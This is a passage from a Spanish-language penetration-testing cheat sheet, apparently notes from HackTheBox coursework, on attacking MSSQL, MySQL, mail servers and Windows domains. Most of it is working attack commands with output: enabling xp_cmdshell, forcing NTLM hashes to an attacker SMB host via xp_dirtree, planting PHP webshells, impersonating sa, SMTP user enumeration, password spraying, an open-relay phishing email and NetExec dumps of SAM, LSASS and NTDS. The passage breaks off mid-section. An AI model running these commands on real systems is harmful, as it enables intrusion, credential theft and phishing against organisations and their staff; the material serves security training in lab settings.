# Oneliner para habilitar el componente xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Nos aparecerá si se ha configurado correctamente o no. Verificar ejecución de comandos.
xp_cmdshell "whoami"
A través de la herramienta de nxc
también podemos ejecutar comandos con xp_cmdshell
.
# Ejecución de comandos xp_cmdshell a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -x 'whoami'
# Ejecución de comandos xp_cmdshell a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -x 'whoami'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -x 'whoami'
Si disponemos del componente (xp_dirtree) habilitado, podemos probar lo siguiente para obtener un hash NTLMv2 y posteriormente crackear el hash.
Desde Kali podemos hacer uso de alguno de los métodos.
# Podemos hacer uso de responder para tener el servidor SMB montado y recibir el hash
responder -I tun0 -v
# También podemos hacer uso de impacket-smbserver para recibir el hash
impacket-smbserver smbFolder $(pwd) -smb2support
Desde MSSQL podemos ejecutar los siguientes comandos, si todo funciona bien, en nuestro equipo atacante recibiremos un hash Net-NTLMv2 que podremos crackear posteriormente.
EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;
xp_dirtree '\\<ATTACKER_IP>\smbFolder\x';
EXEC master..xp_subdirs '\\<ATTACKER_IP>\smbFolder\x',1,1;
EXEC master..xp_fileexist '\\<ATTACKER_IP>\smbFolder\x',1,1;
A través de la herramienta de nxc
también podemos abusar del componente xp_dirtree
. Primero, en nuestra Kali levantamos el servidor SMB o el Responder
.
# Hash Stealing xp_dirtree a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
# Hash Stealing xp_dirtree a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
Buscando más información sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a través de inyecciones SQL para enumerar usuarios a través del Relative ID (RID).
MSSQL - Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
MSSQL - Create a File
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
De forma predeterminada, MSSQL permite la lectura de cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura. Podemos usar la siguiente consulta SQL:
1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should
(1 rows affected)
SQL Server tiene un permiso especial llamado IMPERSONATE
, que permite al usuario que lo ejecuta asumir los permisos de otro usuario o login hasta que se restablezca el contexto o finalice la sesión. Vamos a ver cómo el privilegio IMPERSONATE
puede llevar a una escalada de privilegios en SQL Server.
Identify Users that We Can Impersonate
Primero, necesitamos identificar qué usuarios podemos suplantar. Los usuarios con rol de sysadmin
pueden suplantar a cualquiera por defecto, pero para los usuarios no administradores, los privilegios deben asignarse explícitamente.
Podemos usar la siguiente consulta para identificar los usuarios que podemos suplantar:
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
name
-----------------------------------------------
sa
ben
valentin
(3 rows affected)
Verifying our Current User and Role
Para hacernos una idea de las posibilidades de escalada de privilegios, vamos a verificar si nuestro usuario actual tiene el rol de sysadmin:
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
-----------
julio
(1 rows affected)
-----------
0
(1 rows affected)
Como el valor devuelto es 0
, indica que no tenemos el rol de sysadmin, pero sí podemos suplantar al usuario sa
. Vamos a suplantar a ese usuario y ejecutar los mismos comandos.
Impersonating the SA User
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
-----------
sa
(1 rows affected)
-----------
1
(1 rows affected)
Nota: Se recomienda ejecutar EXECUTE AS LOGIN
dentro de la base de datos master, ya que todos los usuarios, por defecto, tienen acceso a esa base de datos.
Si el usuario que intentas suplantar no tiene acceso a la base de datos a la que estás conectado, se producirá un error.
MSSQL tiene una opción de configuración llamada linked servers. Los linked servers suelen configurarse para permitir que el motor de base de datos ejecute sentencias Transact-SQL que incluyan tablas en otra instancia de SQL Server, o incluso en otro producto de base de datos como Oracle.
Si logramos obtener acceso a un servidor SQL que tiene un linked server configurado, podríamos ser capaces de movernos lateralmente hacia ese otro servidor de base de datos. Los administradores pueden configurar un linked server usando credenciales del servidor remoto, y si esas credenciales tienen privilegios de sysadmin, podríamos ejecutar comandos en la instancia SQL remota.
Veamos cómo podemos identificar y ejecutar consultas en servidores enlazados.
Identify linked Servers in MSSQL
1> SELECT srvname, isremote FROM sysservers
2> GO
srvname isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS 1
10.0.0.12\SQLEXPRESS 0
(2 rows affected)
Como podemos ver en la salida de la consulta, tenemos el nombre del servidor y la columna isremote
, donde 1 indica que es un servidor remoto, y 0 que es un linked server. Podemos consultar la Transact-SQL sysservers
para más información.
A continuación, podemos intentar identificar el usuario usado en la conexión y sus privilegios. La instrucción EXECUTE
puede utilizarse para enviar comandos directamente a los linked servers. Colocamos nuestro comando entre paréntesis y especificamos el nombre del linked server entre corchetes [ ]
.
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
Como hemos visto, ahora podemos ejecutar consultas con privilegios de sysadmin sobre el linked server. Siendo sysadmin, tenemos control total sobre la instancia de SQL Server: podemos leer datos de cualquier base de datos o ejecutar comandos del sistema usando xp_cmdshell
.
dbeaver
MySQL Workbench
Para interactuar con MySQL, podemos usar los binarios de MySQL para Linux (mysql
) o Windows (mysql.exe
). MySQL viene preinstalado en algunas distribuciones de Linux, pero también podemos instalar los binarios manualmente siguiendo una guía específica.
gzzcoo@htb[/htb]$ mysql -h 10.129.20.13 -u username -p'Password123'
Iniciar una sesión SQL interactiva en Windows:
C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13
Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release .deb desde https://github.com/dbeaver/dbeaver/releases y ejecutar el siguiente comando:
gzzcoo@htb[/htb]$ sudo dpkg -i dbeaver-<version>.deb
Para iniciar la aplicación utilice:
gzzcoo@htb[/htb]$ dbeaver & disown 2>/dev/null
Video - Connecting to MySQL DB using dbeaver
MySQL no tiene un procedimiento almacenado como xp_cmdshell
, pero podemos lograr la ejecución de comandos si escribimos en una ubicación del sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL se ejecuta en un servidor web basado en PHP u otros lenguajes como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE
en el directorio del servidor web. Luego, podemos navegar hasta la ubicación del archivo y ejecutar nuestros comandos.
mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
Como mencionamos anteriormente, por defecto una instalación de MySQL no permite la lectura arbitraria de archivos, pero si la configuración es la adecuada y contamos con los privilegios necesarios, podemos leer archivos utilizando los siguientes métodos:
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
En MySQL, una variable de sistema global llamada secure_file_priv
limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las sentencias LOAD DATA
y SELECT … INTO OUTFILE
, así como por la función LOAD_FILE()
. Estas operaciones solo están permitidas para los usuarios que tengan el privilegio FILE
.
secure_file_priv
puede configurarse de las siguientes maneras:
Si está vacía, la variable no tiene efecto, lo cual no es una configuración segura.
Si está configurada con el nombre de un directorio, el servidor limita las operaciones de importación y exportación solo a ese directorio. El directorio debe existir; el servidor no lo crea automáticamente.
Si está configurada como NULL
, el servidor desactiva completamente las operaciones de importación y exportación.
En el siguiente ejemplo, podemos ver que la variable secure_file_priv
está vacía, lo que significa que podemos leer y escribir datos usando MySQL:
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
Un servidor de correo (también llamado servidor de email) es un servidor que gestiona y entrega correos electrónicos a través de una red, normalmente por Internet. Un servidor de correo puede recibir correos desde un dispositivo cliente y enviarlos a otros servidores de correo, así como también entregar correos a los clientes. Un cliente es normalmente el dispositivo desde el cual leemos nuestros correos (como computadoras, móviles, etc.).
Cuando presionamos el botón de Enviar en nuestra aplicación de correo (cliente de correo), el programa establece una conexión con un servidor SMTP en la red o en Internet. SMTP (Simple Mail Transfer Protocol) es el protocolo utilizado para enviar correos desde los clientes a los servidores y entre servidores.
Cuando descargamos correos en nuestra aplicación, esta se conecta a un servidor POP3 o IMAP4, el cual permite al usuario guardar mensajes en el buzón del servidor y descargarlos periódicamente.
Por defecto, los clientes POP3 eliminan los mensajes descargados del servidor. Este comportamiento dificulta el acceso al correo desde varios dispositivos, ya que los mensajes quedan almacenados localmente. Sin embargo, normalmente podemos configurar el cliente POP3 para que mantenga copias en el servidor.
Por otro lado, los clientes IMAP4 no eliminan los mensajes del servidor por defecto, lo que permite acceder fácilmente a los correos desde múltiples dispositivos.
Veamos cómo podemos atacar servidores de correo.
Los servidores de correo son complejos y normalmente requieren que enumeremos varios servidores, puertos y servicios. Además, hoy en día la mayoría de las empresas tienen sus servicios de correo en la nube, como Microsoft 365 o G-Suite. Por lo tanto, nuestra forma de atacar el servicio de correo dependerá del tipo de servicio que estén utilizando.
Podemos usar el registro DNS MX (Mail eXchanger) para identificar el servidor de correo. Este registro especifica el servidor responsable de aceptar mensajes de correo en nombre de un dominio. Es posible configurar varios registros MX, normalmente apuntando a un conjunto de servidores de correo para balanceo de carga y redundancia.
Podemos utilizar herramientas como host
o dig
, o sitios web como MXToolbox para consultar información sobre los registros MX.
gzzcoo@htb[/htb]$ host -t MX hackthebox.eu
hackthebox.eu mail is handled by 1 aspmx.l.google.com.
gzzcoo@htb[/htb]$ host -t MX microsoft.com
microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.
gzzcoo@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"
plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.
gzzcoo@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"
inlanefreight.com. 300 IN MX 10 mail1.inlanefreight.com.
gzzcoo@htb[/htb]$ host -t A mail1.inlanefreight.htb.
mail1.inlanefreight.htb has address 10.129.14.128
stos registros MX indican que los tres primeros servicios de correo están utilizando servicios en la nube como G-Suite (aspmx.l.google.com
), Microsoft 365 (microsoft-com.mail.protection.outlook.com
) y Zoho (mx.zoho.com
), mientras que el último probablemente sea un servidor de correo personalizado alojado por la empresa.
Esta información es importante porque los métodos de enumeración pueden variar según el servicio. Por ejemplo, la mayoría de los proveedores en la nube utilizan su propia implementación del servidor de correo y adoptan autenticación moderna, lo cual abre vectores de ataque únicos y específicos para cada proveedor. En cambio, si la empresa ha configurado su propio servicio, podríamos encontrar malas prácticas y configuraciones inseguras que permitan ataques comunes a protocolos de servidores de correo.
Si estamos apuntando a un servidor de correo personalizado como inlanefreight.htb
, podemos enumerar los siguientes puertos:
TCP/25
SMTP Unencrypted
TCP/143
IMAP4 Unencrypted
TCP/110
POP3 Unencrypted
TCP/465
SMTP Encrypted
TCP/587
SMTP Encrypted/
TCP/993
IMAP4 Encrypted
TCP/995
POP3 Encrypted
Podemos usar Nmap con la opción -sC
(scripts por defecto) para enumerar estos puertos en el sistema objetivo:
gzzcoo@htb[/htb]$ sudo nmap -Pn -sVC -p25,143,110,465,587,993,995 10.129.14.128
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
MAC Address: 00:00:00:00:00:00 (VMware)
Los servicios de correo utilizan autenticación para permitir a los usuarios enviar y recibir correos electrónicos. Una mala configuración puede darse cuando el servicio SMTP permite autenticación anónima o soporta comandos que pueden ser usados para enumerar nombres de usuario válidos.
El servidor SMTP dispone de distintos comandos que se pueden aprovechar para enumerar usuarios válidos: VRFY
, EXPN
y RCPT TO
. Si logramos enumerar usuarios válidos, podemos intentar realizar ataques de password spraying, fuerza bruta o incluso adivinar una contraseña válida. Veamos cómo funcionan estos comandos:
VRFY: este comando le indica al servidor SMTP que verifique si existe un nombre de usuario o dirección de correo específica. El servidor responderá indicando si el usuario existe o no. Esta funcionalidad suele estar desactivada por seguridad.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY new-user
550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table
EXPN es similar a VRFY, con la diferencia de que cuando se usa con una lista de distribución, devuelve todos los usuarios incluidos en dicha lista. Esto puede ser más problemático que el comando VRFY, ya que muchas veces existen alias como “all” que agrupan a muchos usuarios.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
Como vemos, el comando EXPN devuelve direcciones de usuarios individuales que forman parte de la lista de distribución. Esto amplía nuestra superficie de ataque.
RCPT TO identifica al destinatario de un mensaje de correo. Este comando se puede repetir varias veces para enviar un solo mensaje a múltiples destinatarios.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient ok
Como vemos, este comando también nos permite validar si un usuario existe en el sistema en función de la respuesta del servidor. Esto se puede usar para enumerar usuarios válidos antes de lanzar ataques como password spraying o fuerza bruta.
También podemos usar el protocolo POP3 para enumerar usuarios, dependiendo de cómo esté implementado el servicio. Por ejemplo, podemos usar el comando USER
seguido del nombre de usuario, y si el servidor responde con +OK
, eso significa que el usuario existe en el servidor.
Este comportamiento se puede aprovechar para enumerar cuentas válidas antes de intentar ataques de autenticación como fuerza bruta o password spraying.
gzzcoo@htb[/htb]$ telnet 10.10.110.20 110
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready
USER julio
-ERR
USER john
+OK
Podemos automatizar el proceso de enumeración de usuarios en servidores SMTP con la herramienta smtp-user-enum
. Esta utilidad permite comprobar si existen direcciones de correo válidas usando comandos como VRFY
, EXPN
o RCPT
.
En el siguiente ejemplo, estamos usando:
-M RCPT
: especifica el modo de enumeración.
-U userlist.txt
: lista de nombres de usuario a probar.
-D inlanefreight.htb
: dominio que se añadirá a cada usuario.
-t 10.129.203.7
: IP del servidor SMTP objetivo.
gzzcoo@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb
######## Scan started at Thu Apr 21 06:53:07 2022 #########
10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
10.129.203.7: kate@inlanefreight.htb exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########
3 results.
78 queries in 11 seconds (7.1 queries / sec)
Como vimos antes, los proveedores de servicios en la nube como Microsoft implementan sus propios sistemas de correo. En el caso de Office 365, podemos abusar de funciones específicas como la enumeración de usuarios.
Una herramienta útil para esto es O365spray, que permite validar si un dominio usa Office 365 y luego enumerar usuarios válidos, así como hacer password spraying.
gzzcoo@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> validate : True
> timeout : 25 seconds
> start : 2022-04-13 09:46:40
>----------------------------------------<
[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
gzzcoo@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> enum : True
> userfile : users.txt
> enum_module : office
> rate : 10 threads
> timeout : 25 seconds
> start : 2022-04-13 09:48:03
>----------------------------------------<
[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'
[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
Podemos usar Hydra para realizar ataques de fuerza bruta o password spraying contra servicios de correo como SMTP, POP3 o IMAP4. Solo necesitamos un listado de usuarios (-L
) y una contraseña o lista de contraseñas (-p
o -P
), además de indicar el servicio.
gzzcoo@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197 login: john password: Company01!
1 of 1 target successfully completed, 1 valid password found
Si los servicios en la nube permiten el uso de los protocolos SMTP, POP3 o IMAP4, podríamos intentar realizar ataques de password spraying usando herramientas como Hydra, pero normalmente estos intentos son bloqueados por medidas de seguridad del proveedor.
En lugar de eso, es preferible usar herramientas especializadas como:
o365spray
o MailSniper
→ para Microsoft Office 365
CredKing
→ para Gmail u Okta
gzzcoo@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> spray : True
> password : March2022!
> userfile : usersfound.txt
> count : 1 passwords/spray
> lockout : 1.0 minutes
> spray_module : oauth2
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2022-04-14 12:26:31
>----------------------------------------<
[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO :
[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'
[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
Un open relay es un servidor SMTP (Simple Mail Transfer Protocol) mal configurado que permite el reenvío de correos sin autenticación. Los servidores de mensajería que están configurados como open relays, ya sea accidental o intencionalmente, permiten que cualquier fuente envíe correos a través del servidor, enmascarando así el origen real de los mensajes y haciendo parecer que provienen del propio servidor.
Desde la perspectiva de un atacante, esto puede ser aprovechado para realizar phishing, enviando correos como si fueran de usuarios inexistentes o suplantando la identidad de otro. Por ejemplo, si detectamos que una empresa tiene un servidor de correo mal configurado como open relay y usa una dirección específica para notificaciones, podemos enviar un correo con esa misma dirección y añadir un enlace malicioso.
Con el script smtp-open-relay
de Nmap, podemos identificar si un puerto SMTP permite este tipo de reenvío:
gzzcoo@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
Después, podemos usar cualquier cliente de correo para conectarnos al servidor y enviar nuestro mensaje:
gzzcoo@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:<notifications@inlanefreight.com>
<- 250 OK
-> RCPT TO:<employees@inlanefreight.com>
<- 250 OK
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
NetExec (también conocido como nxc) es una herramienta de explotación de servicios de red que ayuda a automatizar la evaluación de la seguridad de redes de gran tamaño. Se basa en CrackMapExec, lo que hace que la herramienta sea fácil de usar.
En Kali Linux la herramienta se puede instalar simplemente a través del siguiente comando.
sudo apt install netexec -y
En caso de disponer de otra distribución, podemos revisar la página oficial de NetExec.
Verificar credenciales válidas de un usuario autenticándose mediante SMB.
# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc smb 10.10.10.10 -u 'user' -p 'password'
# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc smb dc.domain.htb -u 'user' -p 'password' -k
# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc smb dc.domain.htb -u 'user' --use-kcache
# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc smb 10.10.10.10 -u 'user' -H '<NTLM_HASH>'
# Password Spraying sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success
# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce
# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success
# Verificar si el usuario tiene permisos para conectarse mediante WinRM - EvilWinRM
nxc winrm 10.10.10.10 -u 'user' -p 'password'
# Ejemplo en caso de que SI dispusiéramos de acceso.
❯ nxc winrm 10.10.10.10 -u 'user' -p 'password'
WINRM 10.10.10.10 5985 GZZCOO [*] Windows 10 / Server 2019 Build 17763 (name:GZZCOO) (domain:Gzzcoo)
WINRM 10.10.10.10 5985 GZZCOO [+] Gzzcoo\user:password (Pwn3d!)
# Ejemplo en caso de que NO dispusiéramos de acceso.
❯ nxc winrm 10.10.10.10 -u 'user' -p 'password'
WINRM 10.10.10.10 5985 GZZCOO [*] Windows 10 / Server 2019 Build 17763 (name:GZZCOO) (domain:Gzzcoo)
WINRM 10.10.10.10 5985 GZZCOO [-] Gzzcoo\user:password
# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares
# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus
# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
nxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-users
nxc smb 10.10.10.10 -u 'user' -p 'password' --sessions
nxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'
nxc smb 10.10.10.10 -u 'user' -p 'password' -x 'whoami'
Dumping SAM
nxc smb 10.10.10.10 -u 'user' -p 'password' --sam
Dumping LSASS
nxc smb 10.10.10.10 -u 'user' -p 'password' --lsa
Dumping NTDS.dit
nxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vss
A través de nxc podemos efectuar los siguientes ataques en el protocolo de Kerberos.
Para un único usuario.
nxc ldap dc.dominio.htb -u 'user' -p '' --asreproast hashes.txt
Para un listado de usuarios.
nxc ldap dc.dominio.htb -u users.txt -p '' --asreproast hashes.txt
nxc ldap dc.dominio.htb -u 'user' -p 'password' --kerberoasting hashes.txt
Podemos modificar la contraseña del usuario actual (NEWPASS) o modificar su hash NTLM (NEWNTHASH).
Modificar contraseña del usuario actual.
nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o NEWPASS='NewPass123!'
Modificar hash NTLM del usuario actual.
nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña del usuario actual.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o NEWPASS='NewPass123!'
Modificar hash NTLM del usuario actual.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña del usuario actual.
nxc smb dc.domain.htb --use-kcache -M change-password -o NEWPASS='NewPass123!'
Modificar hash NTLM del usuario actual.
nxc smb dc.domain.htb --use-kcache -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Podemos modificar la contraseña de otro usuario el cual tengamos los permisos suficientes (GenericAll o ForceChangePassword) a través de (NEWPASS) o modificar su hash NTLM (NEWNTHASH).
Modificar contraseña de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
